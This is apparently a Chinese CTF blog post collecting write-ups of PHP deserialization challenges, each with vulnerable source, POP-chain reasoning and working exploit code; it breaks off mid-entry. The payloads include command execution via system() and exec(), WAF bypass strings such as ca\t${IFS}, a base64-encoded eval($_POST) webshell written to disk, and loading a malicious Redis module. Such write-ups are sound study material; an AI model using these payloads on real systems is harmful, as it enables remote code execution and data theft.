web 反序列化 刷题记录

文章目录

    • [NISACTF 2022]babyserialize
    • [SWPUCTF 2021 新生赛]pop
    • [NISACTF 2022]popchains
    • [第五空间 2021]pklovecloud
    • [天翼杯 2021]esay_eval
    • prize_p5
    • [江苏工匠杯] unseping
    • [SWPUCTF 2021 新生赛]babyunser
    • [CISCN 2022 初赛]ezpop
    • [UUCTF 2022 新生赛]ez_unser


[NISACTF 2022]babyserialize

点开题目

源代码

**include “waf.php”**提示文件包含

反序列化加命令执行

 <?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

pop链可以从后往前推

步骤:

  1. eval反推到__invoke

    eval函数可以执行我们的命令,那么得调用__invoke,(eval($...)说明要有返回值)
    
  2. _invoke反推到_ toString

    只有调用__toString可以return,当一个对象被当作字符串对待的时候,会触发这个魔术方法 
    
  3. __toString反推到__set

    因为调用了strolower方法(strolower函数会把字符串转换成小写)
    
  4. __set反推到__call

    __call:对不存在的方法或者不可访问的方法进行调用就自动调用
    利用 $this -> four类 -> fun = $arg[0] 就可以调用__call,因为这里正好 $fun是 private 属性
    
  5. __call再到__wakeup

    class TianXiWei 中的 __wakeup 可以调用到 class Ilovetxw 不可访问的方法
    只需把$this->ext->nisa($this->x); 改成$this->Ilovetxw类->nisa($this->x); 就会自动调用call
    

构造payload

 <?php
include "waf.php";
class NISA{
    public $fun;
    public $txw4ever='system("tac /f*");';
}

class TianXiWei{
    public $ext;
    public $x;
}

class Ilovetxw{
    public $huang;
    public $su;
}

class four{
    public $a;
    private $fun;
}

$a=new TianXiWei();
$a->ext=new Ilovetxw();
$a->ext->huang=new four();
$a->ext->huang->a=new Ilovetxw(); //调用_toString()
$a->ext->huang->a->su=new NISA();
echo urlencode(serialize($a));

发现不行

web 反序列化 刷题记录_第1张图片

根据题目提示可能有过滤,用大小写绕过

改为System(“tac /f*”);

得到flag

web 反序列化 刷题记录_第2张图片

思路总结:

__invoke --> __toString --> __set --> __call --> wakeup
    NISA -->   Ilovetxw -->  four --> IlovetxW --> TianXiWei   

[SWPUCTF 2021 新生赛]pop

源代码

 admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

分析:从后往前推

首先找到跟flag有关的,发现是w44m的Getflag(),结合if语句,我们要让admin = ‘w44m’ 和passwd ='08067’成立

再往前推,发现w33m的__toString()的**KaTeX parse error: Expected '}', got 'EOF' at end of input: this->w00m->{this->w22m}();**可以调用Getflag();

再往前推,w22m的echo语句可以调用__toString();

整理一下

pop链

w22m.__destruct() --> w33m.__toString() --> w44m.Getflag()

payload

w00m=$b;
$b->w00m=$c;
echo urlencode(serialize($a));
?> 

注:记得url编码

[NISACTF 2022]popchains

打开题目

Happy New Year~ MAKE A WISH
';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/

代码审计(从后往前推)

  1. 首先我们找到出口include($value),那么我们可以给var赋值用php伪协议去读取flag,调用append()方法得先调用 __invoke()

    (调用了函数方式可以调用 __invoke())

  2. __invoke()可以反推到__get()

    (读取不可访问或者不存在的属性的时候,进行赋值,才能调用__get())

  3. __get()可以反推到__toString()

    (因为我们可以$page不存在Make_a_Change这个类里面)

  4. __toString()可以反推到__wakeup()

    (把类当成字符串的时候,因为preg_match会把变量当成字符串)

pop链

Road_is_Long.__wakeup() --> Road_is_Long.__toString() --> Make_a_Change.__get() --> Try_Work_Hard.__invoke() 

payload

page=$b;
$b->string=$c;
$c->effort=new Try_Work_Hard();
echo urlencode(serialize($a));

上传一下

web 反序列化 刷题记录_第3张图片

base64解码得到flag

web 反序列化 刷题记录_第4张图片

[第五空间 2021]pklovecloud

打开题目,分析源代码

 cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?> 

代码审计:

  1. 先找出口为file_get_contents($file)
  2. 调用ace的echo_name()得先调用asp的__toString()
  3. 调用asp的__toString()的条件是把类当成字符串的时候调用,可以用本身类的__construct()来进行调用

现在我们要绕过这一段复杂的代码

$this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }

这里可以不用管docker

因为强等于我们可以用NULL=NULL来绕过,所以我们让neutron和nova值为NULL就行

pop链

acp.__construct() --> acp.__toString() -->ace.echo_name() 

payload

cinder = $a;
    }
}

class ace
{
    public $filename;
    public $openstack;
    public $docker;
}

$a = new acp(""); //第一次实例化是为了给neutron和nova赋值为NULL,使得绕过强等于
$a->neutron = NULL;
$a->nova = NULL;
$b = new ace();
$b->filename='flag.php';
$c =new acp($b);  //第二次实例化acp会调用__construct方法使cinder指向ace,然后调用echo_name方法
echo urlencode(serialize($c));
  1. 先让neutron和nova赋值为NULL
  2. 再实例化ace,让filename的值为flag.php
  3. 最后再次实例化,并且传入参数,让center指向ace从而调用echo_name() 得到flag

发现没有flag,要把filename的值改为../nssctfasdasdflag

web 反序列化 刷题记录_第5张图片

得到flag

web 反序列化 刷题记录_第6张图片

[天翼杯 2021]esay_eval

打开题目

源代码

 code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
}

分析:

找到出口为eval函数

正则判断是匹配A和B开头的东西,因为类名是A,B,我们可以通过大小写绕过

因为反序列化会调用__wakeup方法,然后code就为空值,绕过只需要让项数多1就行

实例化b让指针指向a,会调用__construct()方法从而命令执行

payload

code = "phpinfo();";
    }
}

class b{}

$a=new A();
$b=new B();
$b->a=$a;
echo (serialize($b));

上传成功

web 反序列化 刷题记录_第7张图片

写入一句话木马


修改payload

code = "fputs(fopen('1.php','w'),base64_decode(\"PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg==\"));";
    }
}

class b{}

$a=new A();
$b=new B();
$b->a=$a;
echo (serialize($b));
?poc=O:1:"b":2:{s:1:"a";O:1:"a":1:{s:4:"code";s:88:"fputs(fopen('1.php','w'),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pg=="));";}}

上传后,蚁剑连接

(记得关闭代理,因为平时用bp是8080端口)

web 反序列化 刷题记录_第8张图片

发现访问不了上级目录

但发现有个config.php.swp

告诉我们了密码

web 反序列化 刷题记录_第9张图片

因为这个shell没有访问权限,但是在/var/www/html中有上传权限,所以可以通过

上传恶意的so文件,通过蚁剑的redis管理插件,进行ssrf,然后包含恶意so文件

链接:exp.so

web 反序列化 刷题记录_第10张图片

下载链接redis工具

记得解压完添加到这个文件夹下

web 反序列化 刷题记录_第11张图片

然后进入

web 反序列化 刷题记录_第12张图片

添加配置

web 反序列化 刷题记录_第13张图片

随便点开一个

web 反序列化 刷题记录_第14张图片

然后加载模组

MODULE LOAD "/var/www/html/exp.so"

输入命令,得到flag

web 反序列化 刷题记录_第15张图片

prize_p5

源代码

 class = "error";
        $this->data = "hacker";
    }
    public function __destruct()
    {
        echo new $this->class($this->data);
    }
}
class error{
    public function __construct($OTL)
    {
        $this->OTL = $OTL;
        echo ("hello ".$this->OTL);
    }
}
class escape{                                                                   
    public $name = 'OTL';                                                 
    public $phone = '123666';                                             
    public $email = '[email protected]';                          
}
function abscond($string) {
    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');
    $filter = '/' . implode('|', $filter) . '/i';
    return preg_replace($filter, 'hacker', $string);
}
if(isset($_GET['cata'])){
    if(!preg_match('/object/i',$_GET['cata'])){
        unserialize($_GET['cata']);
    }
    else{
        $cc = new catalogue(); 
        unserialize(serialize($cc));           
    }    
    if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){
        if (preg_match("/flag/i",$_POST['email'])){
            die("nonono,you can not do that!");
        }
        $abscond = new escape();
        $abscond->name = $_POST['name'];
        $abscond->phone = $_POST['phone'];
        $abscond->email = $_POST['email'];
        $abscond = serialize($abscond);
        $escape = get_object_vars(unserialize(abscond($abscond)));
        if(is_array($escape['phone'])){
        echo base64_encode(file_get_contents($escape['email']));
        }
        else{
            echo "I'm sorry to tell you that you are wrong";
        }
    }
}
else{
    highlight_file(__FILE__);
}
?> 

分析一下

  1. 我们的出口是file_get_contents(),参数是$escape的email属性的值,且email正则匹配flag(不区分大小写)
  2. phone必须为一个数组
  3. $escape要经过abscond($abscond),对生成的catalogue序列化字段进行关键字的替换,关键字’NSS’,‘CTF’, ‘OTL_QAQ’, ‘hello’替换成’hacker’
  4. get传参cata=1(随便什么都行,只要不是object)

由于abscond($string),在数组里出现的会被替换成hacker,我们可以利用字符串逃逸绕过
我们先测试一下

  
//输出结果 :
O:6:"escape":3:{s:4:"name";s:4:"test";s:5:"phone";a:1:{i:0;s:6:"szyyds";}s:5:"email";s:5:"/flag";}

我们如果上传这个email会被正则匹配从而无法绕过
我们可以把";s:5:"phone";a:1:{i:0;s:6:"szyyds";}s:5:"email";s:5:"/flag";}这一串给挤掉
但是为了保证得到flag,我们要扩张(name长度变为4+62)

O:6:"escape":3:{s:4:"name";s:66:"test";s:5:"phone";a:1:{i:0;s:6:"szyyds";}s:5:"email";s:5:"/flag";}";s:5:"phone";a:1:{i:0;s:6:"szyyds";}s:5:"email";s:5:"/flag";}

问题是怎么挤掉呢

这里我们利用abscond(),假设我们name的值有一个NSS,则被替换成hacker的话长度发生改变,那么我们就可以利用被替换的长度差与被挤掉那部分的长度相等,从而实现绕过

这个被挤掉的";s:5:"phone";a:1:{i:0;s:6:"szyyds";}s:5:"email";s:5:"/flag";}长度为62
那么我们构造20*NSS+2*hello,长度刚好为62
最终name的payload

O:6:"escape":3:{s:4:"name";s:126:"NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSShello";s:5:"phone";s:6:"szyyds";s:5:"email";s:5:"/flag";}";s:5:"phone";s:6:"szyyds";s:5:"email";s:5:"/flag";}

得到base64编码的

web 反序列化 刷题记录_第16张图片解码得到flag

web 反序列化 刷题记录_第17张图片

[江苏工匠杯] unseping

源代码

 method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

分析一下:
1.发现exec()函数可以命令执行,帮助我们得到flag

exec($ip, $result);  //$ip为执行的命令,$result为执行的结果

2.我们往前推, call_user_func_array()函数可以调用我们需要的ping方法
只需要让method的值为ping,同时args为ping的上传参数,即执行的命令

call_user_func_array(array($this, $this->method), $this->args); 

3.由于反序列化的时候会调用__wakeup(),所以我们上传的$args得为数组,然后对$this->args数组中的每个值调用$this->waf()方法进行处理

payload

 method = $method;
        $this->args = $args;
    }
}
$a=new ease("ping",array('id'));
echo base64_encode(serialize($a));
?>

web 反序列化 刷题记录_第18张图片可以发现执行成功,我们在修改下执行命令,同时绕过waf()检测

$a=new ease("ping",array('l\s'));

web 反序列化 刷题记录_第19张图片我们可以直接内联执行绕过

$a=new ease("ping",array('ca\t${IFS}`find`'));
//可以查看该目录及子目录和隐藏目录所有文件

得到flag
web 反序列化 刷题记录_第20张图片

[SWPUCTF 2021 新生赛]babyunser

打开题目,发现能上传文件和查看文件
我们查一下index.php,然后就有可以查看class.php和read.php

read.php源码



aa的文件查看器

getFile(); ?>